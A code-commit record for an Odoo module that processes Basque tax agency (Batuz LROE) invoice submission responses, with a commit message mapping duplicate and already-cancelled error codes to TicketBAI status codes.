        required=True,
        ondelete='cascade')
    lroe_operation_id = fields.Many2one(
        comodel_name='lroe.operation',
        related='lroe_response_id.lroe_operation_id')
    tbai_response_id = fields.Many2one(
        comodel_name='tbai.response',
        required=True,
        ondelete='cascade')
    tbai_invoice_id = fields.Many2one(
        related='tbai_response_id.tbai_invoice_id',
        comodel_name='tbai.invoice',
        required=True,
        ondelete='cascade')
    state = fields.Selection(selection=[
        (LROEOperationResponseLineState.CORRECT.value, 'Correct'),
        (LROEOperationResponseLineState.CORRECT_WITH_ERRORS.value,
         'Correct with errors'),
        (LROEOperationResponseLineState.INCORRECT.value, 'Incorrect')
    ],
        required=True)
    code = fields.Char()
    description = fields.Char()
    response_message = fields.Char(
        compute='_compute_line_message',
        string="LROE Response Message")

    @api.multi
    @api.depends('code', 'description')
    def _compute_line_message(self):
        for response_line in self:
            if response_line.code and response_line.description:
                response_line.response_message = response_line.code\
                    + ':' + response_line.description
            elif response_line.code:
                response_line.response_message = response_line.code
            elif response_line.description:
                response_line.response_message = response_line.description
<commit_msg>[UPD] l10n_es_ticketbai_api_batuz: duplicate registration error ('B4_2000003') and register already cancelled ('B4_2000006') codes are considered as invoice already sent (INVOICE_ALREADY_REGISTERED, '005') and invoice already cancelled (INVOICE_ALREADY_CANCELLED, '019') for the ll10n_es_ticketbai_api to take on these errors and mark the invoices as already sent and not as error, as same as in the other tax agencies (Araba and Gipuzkoa).<commit_after># Copyright (2021) Binovo IT Human Project SL
# License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl).
import base64
from enum import Enum
from odoo import models, fields, api, _
from ..lroe.lroe_xml_schema import LROEXMLSchema,\
    LROEXMLSchemaModeNotSupported,\
    LROEOperationTypeEnum
from .lroe_operation import LROEOperationEnum, LROEModelEnum
from odoo.addons.l10n_es_ticketbai_api.models.ticketbai_response\
    import TicketBaiResponseState, TicketBaiInvoiceResponseCode, \
    TicketBaiCancellationResponseCode
from odoo.addons.l10n_es_ticketbai_api.utils import utils as tbai_utils
from odoo.exceptions import ValidationError

class LROEOperationResponseState(Enum):
    BUILD_ERROR = '-2'
    REQUEST_ERROR = '-1'
    CORRECT = 'Correcto'
    PARTIALLY_CORRECT = 'Parcialmente correcto'
    INCORRECT = 'Incorrecto'

class LROEOperationResponseLineState(Enum):
    CORRECT = 'Correcto'
    CORRECT_WITH_ERRORS = 'Aceptado con errores'
    INCORRECT = 'Incorrecto'

class LROEOperationResponseLineCode(tbai_utils.EnumValues):
    DUPLICATED_RECORD = 'B4_2000003'
    ALREADY_CANCELLED_RECORD = 'B4_2000006'

class LROEOperationResponse(models.Model):
    _name = 'lroe.operation.response'
    _description = "LROE Operation Response"

    lroe_operation_id = fields.Many2one(
        comodel_name='lroe.operation',
        required=True,
        ondelete='cascade')
    response_line_ids = fields.One2many(
        comodel_name='lroe.operation.response.line',
        inverse_name='lroe_response_id',
        string="Response Line")
    xml = fields.Binary(string='XML Response')
    xml_fname = fields.Char('XML File Name')
    state = fields.Selection(selection=[
        (LROEOperationResponseState.BUILD_ERROR.value, 'Build error'),
        (LROEOperationResponseState.REQUEST_ERROR.value, 'Request error'),
        (LROEOperationResponseState.CORRECT.value, 'Correct'),
        (LROEOperationResponseState.PARTIALLY_CORRECT.value, 'Partially correct'),
        (LROEOperationResponseState.INCORRECT.value, 'Incorrect')], required=True)
    code = fields.Char()
    description = fields.Char()
    lroe_record_id = fields.Char()
    lroe_record_number = fields.Char()
    lroe_record_date = fields.Char()

    @staticmethod
    def get_tbai_state(lroe_response_operation):
        if lroe_response_operation == LROEOperationResponseState.BUILD_ERROR.value or\
           lroe_response_operation == LROEOperationResponseState.REQUEST_ERROR.value:
            return lroe_response_operation
        if lroe_response_operation == LROEOperationResponseState.CORRECT.value:
            return TicketBaiResponseState.RECEIVED.value
        if lroe_response_operation == LROEOperationResponseState.INCORRECT.value:
            return TicketBaiResponseState.REJECTED.value
        if lroe_response_operation\
           == LROEOperationResponseState.PARTIALLY_CORRECT.value\
           or lroe_response_operation\
           == LROEOperationResponseLineState.CORRECT_WITH_ERRORS.value:
            # TODO LROE: en caso de e envío de un único fichero se nos
            # puede dar esta respuesta ??? que hacemos ???
            return TicketBaiResponseState.RECEIVED.value
        return None

    @api.model
    def prepare_lroe_error_values(self, lroe_operation, msg, **kwargs):
        values = kwargs
        tbai_response_model = self.env['tbai.response']
        tbai_response_dict = {
            'tbai_invoice_id': lroe_operation.tbai_invoice_ids[0].id,
            'state': LROEOperationResponse.get_tbai_state(
                LROEOperationResponseState.REQUEST_ERROR.value
            )
        }
        tbai_response_obj = tbai_response_model.create(tbai_response_dict)
        values.update({
            'lroe_operation_id': lroe_operation.id,
            'state': LROEOperationResponseState.BUILD_ERROR.value,
            'description': _("Internal API or Operation error") + msg,
            'response_line_ids': [(0, 0, {
                'state': LROEOperationResponseLineState.INCORRECT.value,
                'tbai_response_id': tbai_response_obj.id
            })]
        })
        return values

    @api.model
    def prepare_lroe_response_values(self, lroe_srv_response, lroe_operation, **kwargs):

        def validate_response_line_state(response_line_record_state):
            if response_line_record_state not in [
                LROEOperationResponseLineState.CORRECT.value,
                LROEOperationResponseLineState.CORRECT_WITH_ERRORS.value,
                LROEOperationResponseLineState.INCORRECT.value
            ]:
                raise ValidationError(_('LROEOperationResponseLineState not VALID !'))

        def get_lroe_response_xml_header():
            return xml_root.get('Cabecera')

        def get_lroe_response_xml_presenter():
            return xml_root.get('DatosPresentacion')

        def get_lroe_response_xml_records():
            xml_lroe_records = xml_root.get('Registros').get('Registro')
            len_lroe_records = 0
            if isinstance(xml_lroe_records, dict):
                len_lroe_records = 1
            elif isinstance(xml_lroe_records, list):
                len_lroe_records = len(xml_lroe_records)
            return len_lroe_records, xml_lroe_records

        def get_lroe_xml_schema():
            operation_type = None
            if lroe_operation.model == LROEModelEnum.model_pj_240.value:
                if lroe_operation.type == LROEOperationEnum.create.value:
                    operation_type =\
                        LROEOperationTypeEnum.resp_alta_sg_invoice_pj_240.value
                elif lroe_operation.type == LROEOperationEnum.cancel.value:
                    operation_type =\
                        LROEOperationTypeEnum.resp_cancel_sg_invoice_pj_240.value
                xml_schema = LROEXMLSchema(operation_type)
            elif lroe_operation.model == LROEModelEnum.model_pf_140.value:
                if lroe_operation.type == LROEOperationEnum.create.value:
                    operation_type =\
                        LROEOperationTypeEnum.resp_alta_sg_invoice_pf_140.value
                elif lroe_operation.type == LROEOperationEnum.cancel.value:
                    operation_type =\
                        LROEOperationTypeEnum.resp_cancel_sg_invoice_pf_140.value
                xml_schema = LROEXMLSchema(operation_type)
            else:
                raise LROEXMLSchemaModeNotSupported(
                    "TicketBAI - Batuz LROE XML model not supported!")
            return operation_type, xml_schema

        def set_tbai_response_lroe_line():
            response_line_record_data = response_line_record.get('SituacionRegistro')
            response_line_record_state = response_line_record_data.get('EstadoRegistro')
            validate_response_line_state(response_line_record_state)
            response_line_record_code = ''
            response_line_record_message = ''
            if not response_line_record_state\
               == LROEOperationResponseLineState.CORRECT.value:
                response_line_record_code =\
                    response_line_record_data.get('CodigoErrorRegistro')
                response_line_record_message = '(ES): '\
                    + response_line_record_data.get('DescripcionErrorRegistroES') \
                    + '(EU): '\
                    + response_line_record_data.get('DescripcionErrorRegistroEU')

            tbai_response_model = self.env['tbai.response']
            tbai_msg_description = response_line_record_message
            tbai_msg_code = \
                TicketBaiInvoiceResponseCode.INVOICE_ALREADY_REGISTERED.value \
                    if LROEOperationResponseLineCode.DUPLICATED_RECORD.value ==\
                       response_line_record_code \
                    else TicketBaiCancellationResponseCode.INVOICE_ALREADY_CANCELLED.value\
                    if LROEOperationResponseLineCode.ALREADY_CANCELLED_RECORD.value == \
                       response_line_record_code\
                    else response_line_record_code\
                    if response_line_record_code\
                    else ''
            tbai_response_dict = {
                'tbai_invoice_id': lroe_operation.tbai_invoice_ids[0].id,
                'state': LROEOperationResponse.get_tbai_state(
                    response_line_record_state),
                'tbai_response_message_ids': [(0, 0, {
                    'code': tbai_msg_code,
                    'description': tbai_msg_description})]}
            for key in kwargs:
                tbai_response_dict[key] = kwargs[key]
            tbai_response_obj = tbai_response_model.create(tbai_response_dict)
            response_line_ids.append((0, 0, {
                'state': response_line_record_state,
                'code': response_line_record_code,
                'description': response_line_record_message,
                'tbai_response_id': tbai_response_obj.id}))
            if response_line_ids:
                values.update({'response_line_ids': response_line_ids})

        lroe_operation_type, lroe_xml_schema = get_lroe_xml_schema()
        values = {}
        lroe_srv_response_type = lroe_srv_response.get_lroe_srv_response_type()
        lroe_srv_response_code = lroe_srv_response.get_lroe_srv_response_code()
        lroe_srv_response_message = lroe_srv_response.get_lroe_srv_response_message()
        lroe_srv_response_date = lroe_srv_response.get_lroe_srv_response_record_date()
        errno = lroe_srv_response.errno
        strerror = lroe_srv_response.strerror
        if lroe_srv_response.error:
            tbai_response_model = self.env['tbai.response']
            tbai_response_dict = {
                'tbai_invoice_id': lroe_operation.tbai_invoice_ids[0].id,
                'state': LROEOperationResponse.get_tbai_state(
                    LROEOperationResponseState.REQUEST_ERROR.value)
            }
            for key in kwargs:
                tbai_response_dict[key] = kwargs[key]
            tbai_response_obj = tbai_response_model.create(tbai_response_dict)
            values.update({
                'lroe_operation_id': lroe_operation.id,
                'state': LROEOperationResponseState.REQUEST_ERROR.value,
                'code': lroe_srv_response_code if lroe_srv_response_code else errno,
                'description': lroe_srv_response_message
                if lroe_srv_response_message else strerror,
                'response_line_ids': [(0, 0, {
                    'state': LROEOperationResponseLineState.INCORRECT.value,
                    'code': lroe_srv_response_code
                    if lroe_srv_response_code else errno,
                    'description': lroe_srv_response_message
                    if lroe_srv_response_message else strerror,
                    'tbai_response_id': tbai_response_obj.id
                })]
            })
        else:
            values.update({
                'lroe_operation_id': lroe_operation.id,
                'state': lroe_srv_response_type,
            })
            if lroe_srv_response_type in [
                    LROEOperationResponseState.CORRECT.value,
                    LROEOperationResponseState.PARTIALLY_CORRECT.value]:
                lroe_srv_rec_id = lroe_srv_response.get_lroe_srv_response_record_id()
                lroe_srv_rec_number = \
                    lroe_srv_response.get_lroe_srv_response_record_number()
                values.update({'lroe_record_date': lroe_srv_response_date,
                               'lroe_record_id': lroe_srv_rec_id,
                               'lroe_record_number': lroe_srv_rec_number})
            else:
                values.update({
                    'lroe_record_date': lroe_srv_response_date,
                    'code': lroe_srv_response_code if lroe_srv_response_code else errno,
                    'description': lroe_srv_response_message
                    if lroe_srv_response_message else strerror
                })
            xml_data = lroe_srv_response.data
            if xml_data:
                values.update({
                    'xml': base64.encodebytes(xml_data),
                    'xml_fname': lroe_operation.name + '_response.xml'
                })
                xml_root = lroe_xml_schema.parse_xml(
                    xml_data
                )[lroe_xml_schema.root_element]
                len_response_line_records, response_line_records =\
                    get_lroe_response_xml_records()
                response_line_ids = []
                if len_response_line_records == 1:
                    response_line_record = response_line_records
                    set_tbai_response_lroe_line()
                elif len_response_line_records > 1:
                    for response_line_record in response_line_records:
                        set_tbai_response_lroe_line()
            else:
                tbai_response_model = self.env['tbai.response']
                tbai_response_dict = {
                    'tbai_invoice_id': lroe_operation.tbai_invoice_ids[0].id,
                    'state': LROEOperationResponse.get_tbai_state(
                        LROEOperationResponseState.REQUEST_ERROR.value)
                }
                for key in kwargs:
                    tbai_response_dict[key] = kwargs[key]
                tbai_response_obj = tbai_response_model.create(tbai_response_dict)
                values.update({
                    'response_line_ids': [(0, 0, {
                        'state': LROEOperationResponseLineState.INCORRECT.value,
                        'code': lroe_srv_response_code
                        if lroe_srv_response_code else errno,
                        'description': lroe_srv_response_message
                        if lroe_srv_response_message else strerror,
                        'tbai_response_id': tbai_response_obj.id
                    })]
                })
        return values

class LROEOperationResponseLine(models.Model):
    _name = 'lroe.operation.response.line'
    _description = "LROE Operation Response Line"
    _order = 'id desc'

    lroe_response_id = fields.Many2one(
        comodel_name='lroe.operation.response',
        required=True,
        ondelete='cascade')
    lroe_operation_id = fields.Many2one(
        comodel_name='lroe.operation',
        related='lroe_response_id.lroe_operation_id')
    tbai_response_id = fields.Many2one(
        comodel_name='tbai.response',
        required=True,
        ondelete='cascade')
    tbai_invoice_id = fields.Many2one(
        related='tbai_response_id.tbai_invoice_id',
        comodel_name='tbai.invoice',
        required=True,
        ondelete='cascade')
    state = fields.Selection(selection=[
        (LROEOperationResponseLineState.CORRECT.value, 'Correct'),
        (LROEOperationResponseLineState.CORRECT_WITH_ERRORS.value,
         'Correct with errors'),
        (LROEOperationResponseLineState.INCORRECT.value, 'Incorrect')
    ],
        required=True)
    code = fields.Char()
    description = fields.Char()
    response_message = fields.Char(
        compute='_compute_line_message',
        string="LROE Response Message")

    @api.multi
    @api.depends('code', 'description')
    def _compute_line_message(self):
        for response_line in self:
            if response_line.code and response_line.description:
                response_line.response_message = response_line.code\
                    + ':' + response_line.description
            elif response_line.code:
                response_line.response_message = response_line.code
            elif response_line.description:
                response_line.response_message = response_line.description
<|endoftext|>